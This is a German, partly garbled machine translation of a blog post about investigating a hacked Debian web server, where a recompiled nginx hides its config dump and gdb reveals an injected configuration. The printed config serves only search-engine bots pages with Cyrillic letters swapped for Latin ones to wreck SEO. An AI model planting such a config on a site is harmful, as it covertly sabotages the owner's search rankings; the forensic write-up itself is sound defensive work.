Wenn ‘a’ ungleich ‘a’ ist. Nach dem Vorfall eines Hacks

Eine Ă€ußerst unangenehme Geschichte ist einem meiner Bekannten widerfahren. So Ă€rgerlich sie fĂŒr Michail war, so unterhaltsam war sie fĂŒr mich.

Ich muss sagen, dass mein Freund durchaus UNIX-Benutzer: kann das System selbst installieren, einrichten mysql, php und die einfachsten Konfigurationen vornehmen. nginx.
Er verfĂŒgt ĂŒber ein gutes Dutzend Webseiten, die sich mit Bauwerkzeugen beschĂ€ftigen.

Eine dieser Seiten, die BenzinsÀgen gewidmet ist, hat sich fest in den TOPs der Suchmaschinen etabliert. Diese Webseite ist ein nicht-kommerzieller Ratgeber, aber jemand hat ein Problem damit und beginnt, sie anzugreifen. Mal DDoS, mal bruteforce, mal schreiben sie unangemessene Kommentare und senden Beschwerden an das Hosting und die WPK.
Plötzlich wurde es still und diese Ruhe brachte kein Gutes mit sich, denn die Seite begann allmÀhlich von den oberen PlÀtzen der Ergebnisse zu verschwinden.

Wenn 'a' nicht gleich 'а' ist. Nach den Spuren eines Hacks

Das war die Einleitung, jetzt zur eigentlichen Administratorgeschichte.

Die Zeit nĂ€herte sich dem Schlaf, als das Telefon klingelte: „Sanj, kannst du dir meinen Server ansehen? Mir scheint, ich wurde gehackt, ich kann es nicht beweisen, aber dieses GefĂŒhl verfolgt mich schon seit drei Wochen. Sollte ich einfach mal gegen meine Paranoia angehen?“

Es folgte eine halbe Stunde Diskussion, die kurz so zusammengefasst werden kann:

  • Der Boden fĂŒr einen Angriff war durchaus fruchtbar;
  • der Angreifer konnte Administratorrechte erhalten;
  • der Angriff (falls er stattfand) war gezielt auf diese Website ausgerichtet;
  • die Schwachstellen wurden behoben, und es gilt nur noch zu klĂ€ren, ob es einen Eindringling gab;
  • der Angriff konnte den Code der Website und die Datenbanken nicht betreffen.

Zum letzten Punkt.

Wenn 'a' nicht gleich 'а' ist. Nach den Spuren eines Hacks

Die Welt sieht nur die öffentliche IP des Frontends. Zwischen Backend und Frontend gibt es keinen Austausch außer http(s), Benutzer/Passwörter sind unterschiedlich, es fand kein SchlĂŒssel-Austausch statt. An grauen Adressen sind alle Ports außer 80/443 geschlossen. Die öffentlichen IPs der Backends sind nur zwei Benutzern bekannt, denen Michail voll und ganz vertraut.

Am Frontend ist installiert Debian 9 und zu dem Zeitpunkt des Anrufs war das System durch eine externe Firewall vom Internet isoliert und gestoppt.

„Ok, gib mir die ZugĂ€nge, — beschließe, den Schlaf um eine Stunde aufzuschieben. — Ich werde mit eigenen Augen schauen.“

Hier und fortan:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Auf der Suche nach einem möglichen Angriff

Starte den Server, zunĂ€chst im rescue-mode. Montiere die Festplatten, durchblĂ€ttere auth-Logs, history, Systemprotokolle usw., wobei ich nach Möglichkeit die Erstellungsdaten der Dateien ĂŒberprĂŒfe, auch wenn ich verstehe, dass ein geĂŒbter Hacker „aufgerĂ€umt“ hĂ€tte und Misha bereits ordentlich „getreten“ hat, wĂ€hrend er selbst gesucht hat.

Ich starte im normalen Modus, ohne genau zu wissen, wonach ich suchen soll, und studiere die Konfigurationen. Ich interessiere mich in erster Linie fĂŒr nginx da es im Frontend eigentlich nichts anderes gibt.
Die Konfigurationen sind klein und gut strukturiert in etwa einem Dutzend Dateien, ich schaue sie einfach cat’nacheinander durch. Es scheint alles sauber zu sein, aber vielleicht habe ich etwas ĂŒbersehen. include, ich mache eine vollstĂ€ndige Auflistung:

$ nginx -T
nginx: Die Konfigurationsdatei /usr/local/etc/nginx/nginx.conf Syntax ist in Ordnung
nginx: Konfigurationsdatei /usr/local/etc/nginx/nginx.conf Test war erfolgreich

Ich habe nicht verstanden: „Wo ist die Auflistung?“

$ nginx -V
nginx-Version: nginx/1.10.3
TLS SNI-UnterstĂŒtzung aktiviert
Konfigurationsargumente: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Zur Frage der Liste kommt eine zweite: „Warum so eine veraltete Version von nginx?“

Außerdem betrachtet das System die Version als aktueller:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          kleiner, leistungsstarker, skalierbarer Web-/Proxy-Server

Ich rufe an:
— Misha, warum hast du neu kompiliert? nginx?
— Komm mal klar, ich weiß nicht einmal, wie das geht!
— Ok, dann schlaf...

Nginx definitiv neu kompiliert und die Ausgabe der Liste ĂŒber „-T“ ist nicht umsonst verborgen. An einer Kompromittierung besteht nun keine Zweifel mehr, und man kann das einfach akzeptieren und (da Misha den Server ohnehin durch einen neuen ersetzt hat) das Problem als gelöst betrachten.

Und tatsÀchlich, wenn jemand die Rechte erhalten hat, rootmacht es nur Sinn, System neu installieren, anstatt zu suchen, was dort schiefgelaufen ist, was nutzlos wÀre. Doch dieses Mal hat die Neugier den Schlaf besiegt. Wie erfahren wir, was man uns verheimlichen wollte?

Versuchen wir es nachzuvollziehen:

$ strace nginx -T

Wir sehen, dass in der Trace-Ausgabe offensichtlich Zeilen wie

write(1, "/etc/nginx/nginx.conf", 21)   = 21
write(1, "..."
write(1, "n", 1

Interessenshalber vergleichen wir die Ausgaben

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Ich denke, dass ein Teil des Codes /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

in folgendes Format gebracht wurde:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

oder

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

deshalb wird die Auflistung fĂŒr „-T“ nicht angezeigt.

Aber wie können wir unsere Konfiguration einsehen?

Wenn meine Überlegung stimmt und das Problem nur in der Variablen ngx_dump_config liegt, versuchen wir, sie mit gdb, zum GlĂŒck ist der Schalter --with-cc-opt -g vorhanden und wir hoffen, dass die Optimierung -O2 uns nicht im Weg steht. Dabei, da ich nicht weiß, wie ngx_dump_config konnte bearbeitet werden in Fall ‚T‘:, wir werden diesen Block nicht aufrufen, sondern ihn ĂŒber Fall ‚t‘:

Warum kann ‚-t‘ neben ‚-T‘ verwendet werden?Blockverarbeitung if(ngx_dump_config) findet innerhalb von if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "Konfigurationsdatei %s Test war erfolgreich",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i config_dump.nelts; i++) {

                ngx_write_stdout("# Konfigurationsdatei ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

NatĂŒrlich, wenn der Code an dieser Stelle geĂ€ndert wird und nicht an Fall ‚T‘:, dann ist meine Methode nicht geeignet.

Test nginx.confNachdem das Problem experimentell gelöst wurde, stellte sich heraus, dass eine minimale Konfiguration fĂŒr den Betrieb von Malware erforderlich ist nginx in folgender Form:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Diese werden wir der Einfachheit halber im Artikel verwenden.

Wir starten den Debugger

$ gdb --silent --args nginx -t
Lesen der Symbole von nginx...fertig.
(gdb) break main
Haltepunkt 1 bei 0x1f390: Datei src/core/nginx.c, Zeile 188.
(gdb) run
Programm starten: nginx -t
[Thread-Debugging mit libthread_db aktiviert]
Verwende die Host-Library libthread_db "/lib/x86_64-linux-gnu/libthread_db.so.1".

Haltepunkt 1, main (argc=2, argv=0x7fffffffebc8) bei src/core/nginx.c:188
188     src/core/nginx.c: Datei oder Verzeichnis nicht gefunden.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Fortfahren.
nginx: die Konfigurationsdatei /etc/nginx/nginx.conf hat eine korrekte Syntax
nginx: Test der Konfigurationsdatei /etc/nginx/nginx.conf war erfolgreich
# Konfigurationsdatei /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# Konfigurationsdatei /etc/nginx/sites-enabled/default:

[Unterprozess 1 (Prozess 32581) normal beendet]
(gdb) quit

Schritt fĂŒr Schritt:

  • setzen wir einen Haltepunkt in der Funktion main()
  • starten wir das Programm
  • Ă€ndern wir den Wert der Variablen, die die Konfiguration ausgibt ngx_dump_config=1
  • wir setzen das Programm fort/beenden

Wie wir sehen, weicht die echte Konfiguration von unserer ab; wir extrahieren den ĂŒberflĂŒssigen Teil:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;

Lass uns Schritt fĂŒr Schritt betrachten, was hier passiert.

Es werden definiert User-Agent‘ы yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Es werden die Systemseiten ausgeschlossen wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Und fĂŒr diejenigen, die unter beide oben genannten Bedingungen fallen

map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

im Text HTML-Seiten werden geĂ€ndert â€˜ĐŸâ€™ findet man ‘o’ und ‘а’ findet man ‘a’:

sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;

Es ist genau so, die kleine Feinheit ist, dass ‘а’ != ‘a’ genauso wie â€˜ĐŸâ€™ != ‘o’:

Wenn 'a' nicht gleich 'а' ist. Nach den Spuren eines Hacks

So erhalten die Suchmaschinenbots anstelle von normalem 100%-kyrillischem Text modifizierten Schrott, der mit Lateinischen vermischt ist. ‘a’ und ‘o’. Ich will nicht spekulieren, wie sich dies auf SEO auswirkt, aber eine solche Buchstabenmischung wird wohl kaum positiv auf die Rankings in den Ergebnissen wirken.

Was soll ich sagen, Leute mit Fantasie.

Links

Debugging mit GDB
gdb(1) — Linux-Handbuchseite
strace(1) — Linux-Handbuchseite
Nginx — Modul ngx_http_sub_module
Über SĂ€gen, MotorsĂ€gen und ElektrosĂ€gen

Quelle: habr.com

Kaufen Sie zuverlĂ€ssiges Hosting fĂŒr Websites mit DDoS-Schutz, VPS VDS-Server đŸ”„ Kaufen Sie zuverlĂ€ssiges Hosting fĂŒr Websites mit DDoS-Schutz, VPS VDS-Server | ProHoster